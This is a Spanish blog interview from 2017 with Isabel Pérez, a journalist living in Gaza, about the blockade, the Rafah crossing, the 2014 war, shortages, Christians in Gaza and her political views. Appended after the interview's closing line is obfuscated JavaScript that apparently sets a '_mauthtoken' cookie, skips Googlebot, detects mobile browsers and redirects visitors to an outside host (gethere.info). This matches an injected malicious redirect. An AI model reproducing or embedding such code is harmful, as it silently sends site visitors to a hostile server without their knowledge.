miércoles , octubre 18 2017

Entrevista a Isabel Pérez, periodista residente en Gaza

Isabel Pérez, de Ejea (Zaragoza), reside en Gaza desde 2013.  Es licenciada en Periodismo por la UCM. Estudió árabe en la Universidad de Alejandría (Egipto) y persa en el Instituto Dehkhoda (Universidad de Teherán). Trabaja en HispanTV y colabora en EL MUNDO y Eldiario.es.

Isabel, ¿desde hace cuánto tiempo te encontrabas atrapada en Gaza? ¿Cómo es la situación allí ahora?

Bastantes meses, casi dos años. Cada vez que planeaba salir me encontraba con un problema nuevo, pero los últimos meses nos topamos con que el paso de Rafah estaba cerrado y la lista de espera era larguísima. De hecho, lo sigue siendo y hay miles de personas esperando todavía. Hay unos 13.000 palestinos registrados para la salida, si añades el resto de casos no humanitarios que también esperan salir, podríamos hablar de muchos miles más, como dijo el director de pasos en Gaza, Maher Abu Sabha, que recientemente ha dimitido diciendo que por razones de salud ya no puede asumir este puesto de trabajo.

Hay que mencionar que él es el director de pasos, en plural, porque no solo hay un paso fronterizo en la Franja, sino seis. Seis pasos: Erez, Nahal Oz, Karni, Sofa, Karem Abu Salem y Rafah. Uno fronterizo con Egipto (Rafah) y cinco con Israel. La entidad ocupante mantiene cerrados tres de ellos a cal y canto (Nahal Oz, Karni y Sofa) y en los otros dos (Erez y Karem Abu Salem) impone muchas restricciones de entrada y salida de material y de viajeros.

Este pasado junio palestinos y egipcios llegaron a un acuerdo para abrir el paso de Rafah con más asiduidad. Se habló de 4 días a la semana, incluso más. Con ese ritmo se aliviaría en cierto modo el problema de movilidad de los ciudadanos que, debido al bloqueo que se vive en Gaza, no pueden ir a recibir tratamiento médico en Egipto, estudiar fuera o trabajar. También permitiría la entrada de material de construcción o de ayuda humanitaria. Todo esto muy limitadamente, no hablamos de un levantamiento de la aduana fronteriza, ni siquiera de eliminar las restricciones. Sin embargo, la bonanza poco duró y Da’esh volvió a atacar al ejército egipcio y el paso de Rafah se volvió a cerrar. Desde entonces, no ha vuelto a abrir.

Muchos de nosotros te conocimos el pasado año a través de las redes sociales durante la cruenta operación del Estado israelí contra la población palestina llamada “Margen Protector”. ¿Cómo viviste ese tiempo? ¿Cómo era el día a día en medio de un estado de guerra? Imagino todo terrorífico…

Terrorífico, sí. Yo siempre digo que trabajar cubriendo una guerra donde tú vives y tienes a la familia es duro y muy intenso. Imagínate cómo viven y trabajan los periodistas palestinos que llevan así tantos años, informando, arriesgando su vida, con la constante preocupación de mantenerse a salvo y poner a salvo a su familia.

De día y noche los misiles israelíes nos sobrevolaban. El zumbido de los drones, mucho más abundantes que el resto del año, persistía… Durante una guerra todos dormimos poco, familias y periodistas. Yo estaba siempre atenta a lo que decían las radios de Gaza, leyendo los informes oficiales y notas de prensa, también -antes de que los israelíes destruyeran los sistemas de comunicación- a las ondas de la resistencia palestina. Los bombardeos eran continuos y en Shifa, el hospital central de Gaza, cuando iba a preguntar cuántos muertos alcanzábamos me decían: “Por el momento, 200”. Esa cifra de 200 se sobrepasó con creces. Más de 2.240 personas murieron en esa operación militar israelí que duró más de 50 días. En Gaza se cuentan 52 días, fuera de Gaza 50, pero los bombardeos israelíes comenzaron el 12 de junio.

Sabemos que eres periodista. ¿Puedes explicarnos un poco más? ¿Cómo es la labor de un periodista en Gaza? Imaginamos que se trata de un trabajo lleno de riesgos pero apasionante al mismo tiempo.
Yo me licencié en Periodismo en el año 2005 en la Universidad Complutense de Madrid. Estuve trabajando en España hasta 2007 cuando decidí partir a Egipto. Desde entonces mis residencias han estado en Oriente Próximo: Alejandría, Teherán y ahora Gaza. Para mí el Periodismo es ver, oír y contar, para lo cual además hay que contar con herramientas, en mi caso la lengua árabe, estudios sobre el islam y la cultura islámica, el periodismo de conflictos, cierto conocimiento adquirido sobre campo y una gran inquietud sobre temas de seguridad. A todo esto hay que añadir una metodología. De este modo es como me gusta informar.

Es mi pasión y, como en todas pasiones, se debe establecer una templanza cuasilógica. Los riesgos son varios y su grado depende del nivel de violencia reinante a tu alrededor. En la Franja de Gaza sufrimos de este mal, así que hay que echarle coraje con límites, hay que preguntar con inteligencia y reflexionar con sabiduría deshaciéndote de prejuicios. Como occidental, esto último al principio es difícil.

¿Cuáles son las principales necesidades básicas a las que las personas de Gaza actualmente todavía no pueden acceder?

Las necesidades básicas existen, lo que no existe es la cantidad apropiada para alcanzar una vida digna según los estándares internacionales. Porque lo básico es, por ejemplo, tener agua corriente. En Gaza hay agua corriente, en la mayoría de los casos, pero el agua está contaminada. Hay agua potabilizada que se reparte a las casas con camiones cisterna, pero con el riesgo de que contenga bacterias. Hay electricidad, pero solo entre 4 y 6 horas al día de forma interrumpida. Hay trabajo, pero no lo hay para más del 40% de la población activa. Hay comida, pero la harina, la sal, el aceite y el té (que son alimentos proporcionados por la ayuda humanitaria de la ONU) no suplen las necesidades nutricionales de las personas, mucho menos de los niños en crecimiento. Hay combustible, pero el precio es 5 veces mayor que el del combustible que entraba por los túneles con Egipto, así que ni los individuos ni las autoridades palestinas pueden permitirse comprarlo con las consecuencias que esto conlleva.

Por todo esto, y mucho más, decimos que en Gaza no se vive, se sobrevive.

¿Hay diferencias entre los dos territorios palestinos, la Franja de Gaza y Cisjordania? ¿Cuáles son?

La diferencia es mayor si comparamos Gaza (Franja de Gaza) con Ramallah (Cisjordania) y disminuye en cierto modo si comparamos Gaza con Hebrón (Cisjordania) o Yenín. A nivel económico, la Franja de Gaza está metida en un abismo sin fondo donde va cayendo sin poderse poner freno porque no hay trabajo, no se puede salir de la Franja para buscar un trabajo como peón u obrero en Israel.  En la esfera social, aunque las relaciones siguen siendo fuertes, se tiende a expresar la rabia o el enfado de forma más temeraria. El proceso al que todas las sociedades se encaminan de romper con la estructura familiar patriarcal, y déspota, en la Franja se produce pero de forma anómala, alimentado por la reacción a la que empujan las consecuencias del conflicto.

En el ámbito psicológico la Franja sufre también de un peor deterioro. Un estudio realizado por una psicóloga palestina dice que en la Franja de Gaza el 40% de la población sufre depresión y un 14% piensa en el suicidio.

Ni los palestinos de Cisjordania ni los de la Franja de Gaza están viviendo un desarrollo natural en sus vidas.

Palestina ha sido históricamente un territorio que ha contado con la presencia de las tres religiones abrahámicas. ¿Cómo viven los cristianos en Palestina? ¿Cuál es su lugar en medio de este conflicto? ¿Cómo es la relación entre cristianos y musulmanes?

En la Franja de Gaza, donde habitan un total de 1 millón 800 mil palestinos, hay 1.400 cristianos ortodoxos y 170 cristianos católicos, aproximadamente. Antaño existían muchos más, pero el conflicto les empujó a concentrarse en otras zonas de la Palestina ocupada, incluso fuera en el exilio.

Recuerdo que a finales del mes de julio de 2014, en medio de la operación israelí Margen Protector, los israelíes bombardearon la casa de la familia Ayad, una familia cristiana. Fui a la iglesia ortodoxa y allí me encontré, no solo con el resto de palestinos cristianos, católicos, sino también con musulmanes que habían acudido, en medio de los bombardeos, a la misa fúnebre.

Uno de los sobrinos de la familia dio un pequeño discurso en el altar y decía: “Estamos en una única tierra donde caen mártires, sin importar la religión o la ideología”.

Creo que esta frase contesta a tu pregunta.

¿Existen en Palestina plataformas o algún tipo de activismo que abogue por el entendimiento interreligioso? ¿Hay voces, personajes célebres, activistas judíos contrarios al régimen sionista?  Muchas veces, desde los medios de comunicación intentan presentar el conflicto árabe- israelí como un conflicto religioso. ¿Estás de acuerdo con esta afirmación? ¿Cuál es tu opinión?

Sí, existen organizaciones que abogan por la justicia y la igualdad entre israelíes y palestinos que viven en Israel, judíos contra la colonización y ocupación israelí, judíos contra el neosionismo… También intelectuales judíos que ya no viven en Israel y hacen una gran labor por comunicar el estado de ocupación ilegal que existe en Palestina. Es el caso de Ilan Pappe, autor de ‘La limpieza étnica en Palestina’, o Israel Shahak autor ya fallecido de ‘El plan sionista para Oriente Medio’.

En el periódico israelí que se puede leer en inglés como ‘Haaretz’ se pueden leer los artículos de Gideon Levy, el rasha (en hebreo) el que provoca y cuestiona todo, criticando las matanzas en Gaza y la ocupación en Cisjordania.

Ante todo, hay que aclarar que para muchos este conflicto no es un conflicto religioso. Yo no creo que lo sea. Aunque para los sionistas su causa judía es algo sui generis, no lo es. Y, por lo tanto, que los musulmanes en Jerusalén tengan que enfrentarse a soldados israelíes armados y protegidos de pies a cabeza para entrar a la mezquita Al-Aqsa a rezar, que los cristianos se vean en la misma situación y que sus iglesias sean quemadas y atacadas por extremistas israelíes, es algo provocado por aquellos que quieren seguir desviando este conflicto a un conflicto religioso.

“Todo son tumbas de judíos bíblicos”, me decía una colega que vive en Cisjordania. Y de este modo, las autoridades israelíes permiten que los cristianos o los musulmanes palestinos sean atacados o se les impida y restrinja el acceso a sus lugares santos, ante la mirada de otros judíos que sienten vergüenza de lo que está sucediendo porque no se ven reflejados en este estado de violencia y ocupación.

Con la reelección de Netanyahu como primer ministro israelí el pasado marzo de este año ¿qué futuro adivinas para Palestina a medio plazo?

Más asentamientos ilegales en Cisjordania, más bloqueo, más drones y bombardeos, más racismo y menos igualdad en Israel… Es decir, menos democracia y más ocupación insolente e impune.

Gracias por tu atención, querida Isabel. Que la Paz sea contigo.

 

¡Gracias a vosotros! ¡Salam!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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